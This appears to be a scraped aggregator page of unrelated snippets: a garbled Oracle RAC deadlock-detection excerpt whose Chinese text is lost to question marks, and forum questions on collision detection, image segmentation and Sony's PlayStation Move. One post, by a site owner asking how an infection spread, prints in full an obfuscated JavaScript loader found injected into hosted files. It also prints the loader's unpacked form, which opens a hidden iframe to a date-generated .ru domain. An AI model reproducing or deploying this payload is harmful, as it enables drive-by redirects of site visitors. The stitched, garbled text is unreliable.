wq 2 cvtops x1 TX 0x80016.0x5d4(ext 0x2,0x0)[20000-0002-00000022] inst 2 * kjddvald: KJDD_NXTONOD ->node_kjddsg.dinst_kjddnd =1 * kjddvald: ... which is not my node, my subgraph is validated but the cycle is not complete Global blockers dump start:--------------------------------- DUMP LOCAL BLOCKER/HOLDER: block level 5 res [0x80016][0x5d4],[TX][ext 0x2,0x0] ??dead lock!!! ???????11.2.0.3???? RAC LMD???????????”_lm_dd_interval”????????????20s?  ???????10g?_lm_dd_interval???60s,??????Processes?????????????????,????????????Server Process????????60s??????11g?????(??????LMD???????)???????,???????????10s??? Enqueue Deadlock Detection? ?11g??? RAC?LMD???????hidden parameter ????”_lm_dd_interval”???,RAC????????????????,???????????: SQL> col name for a50 SQL> col describ for a60 SQL> col value for a20 SQL> set linesize 140 pagesize 1400 SQL> SELECT x.ksppinm NAME, y.ksppstvl VALUE, x.ksppdesc describ 2 FROM SYS.x$ksppi x, SYS.x$ksppcv y 3 WHERE x.inst_id = USERENV ('Instance') 4 AND y.inst_id = USERENV ('Instance') 5 AND x.indx = y.indx 6 AND x.ksppinm like '_lm_dd%'; NAME VALUE DESCRIB -------------------------------------------------- -------------------- ------------------------------------------------------------ _lm_dd_interval 20 dd time interval in seconds _lm_dd_scan_interval 5 dd scan interval in seconds _lm_dd_search_cnt 3 number of dd search per token get _lm_dd_max_search_time 180 max dd search time per token _lm_dd_maxdump 50 max number of locks to be dumped during dd validation _lm_dd_ignore_nodd FALSE if TRUE nodeadlockwait/nodeadlockblock options are ignored 6 rows selected.

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  • Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

    - by h3.
    This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/ Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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  • Building dynamic bounding box hierachies.

    - by adivasile
    I've been reading about collision detection and I saw that the first part was a coarse detection which generates possible contacts using bounding box hierarchies. I understand the concept of splitting up your objects in groups, to speed up the detection phase, but I'm a little confused on how do you actually build the hierachy, more so on what criteria is used to group them together. Do I iterate through all the objects in the scene, and check the distance between them to see where they should be inserted in the tree? Do you know some resources that may shed some light on this topic for me?

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  • Is an extra collision-mesh for level-data worth the hassle?

    - by Serthy
    What is the optimal approach for collision-detection with the environment in an 3D engine (with triangle mesh based geometry, no bsp)? A) Use the render mesh [+] no need for additional work for artists to fiddle with collision detection [-] high detail is harder for physics calculation [+/-] maybe use collidable flags for materials [+/-] compute the collision-mesh from the render-mesh B) Use an additional collision mesh [+] faster/more optimal collision-detection [-] additional work (either by the artist or by the programmer who has to develop an algorithm to compute it from the render-mesh) [-] more memory useage How do AAA title handle this? And what are the indie dev's approaches?

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  • Sony officialise son contrôleur à détection de mouvements, le PlayStation Move, lors de la Game Deve

    Sony officialise son contrôleur à détection de mouvements, le PlayStation Move, lors de la GDC 2010 C'est au cours de la Game Developers Conference 2010 (GDC 2010) que Sony a révélé et officialisé son nouveau contrôleur à détection de mouvements pour sa console de jeux PlayStation3. Les rumeurs le nommaient Gem ou Arc mais ce nouveau produit portera la dénomination de PlayStation Move. Sony a également dévoilé que le PlayStation Move serait accompagné d'un périphérique sans fils annexe nommé simplement Sub Controller qui n'est pas sans rappeler le Nunchuk de la console Nintendo Wii. Accompagné du PlayStation Eye (la webcam de la PlayStation 3), ce nouveau contrôleur sera vendu en pack avec un je...

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  • Getting started with object detection - Image segmentation algorithm

    - by Dev Kanchen
    Just getting started on a hobby object-detection project. My aim is to understand the underlying algorithms and to this end the overall accuracy of the results is (currently) more important than actual run-time. I'm starting with trying to find a good image segmentation algorithm that provide a good jump-off point for the object detection phase. The target images would be "real-world" scenes. I found two techniques which mirrored my thoughts on how to go about this: Graph-based Image Segmentation: http://www.cs.cornell.edu/~dph/papers/seg-ijcv.pdf Contour and Texture Analysis for Image Segmentation: http://www.eng.utah.edu/~bresee/compvision/files/MalikBLS.pdf The first one was really intuitive to understand and seems simple enough to implement, while the second was closer to my initial thoughts on how to go about this (combine color/intensity and texture information to find regions). But it's an order of magnitude more complex (at least for me). My question is - are there any other algorithms I should be looking at that provide the kind of results that these two, specific papers have arrived at. Are there updated versions of these techniques already floating around. Like I mentioned earlier, the goal is relative accuracy of image segmentation (with an eventual aim to achieve a degree of accuracy of object detection) over runtime, with the algorithm being able to segment an image into "naturally" or perceptually important components, as these two algorithms do (each to varying extents). Thanks! P.S.1: I found these two papers after a couple of days of refining my search terms and learning new ones relevant to the exact kind of techniques I was looking for. :) I have just about reached the end of my personal Google creativity, which is why I am finally here! Thanks for the help. P.S.2: I couldn't find good tags for this question. If some relevant ones exist, @mods please add them. P.S.3: I do not know if this is a better fit for cstheory.stackexchange (or even cs.stackexchange). I looked but cstheory seems more appropriate for intricate algorithmic discussions than a broad question like this. Also, I couldn't find any relevant tags there either! But please do move if appropriate.

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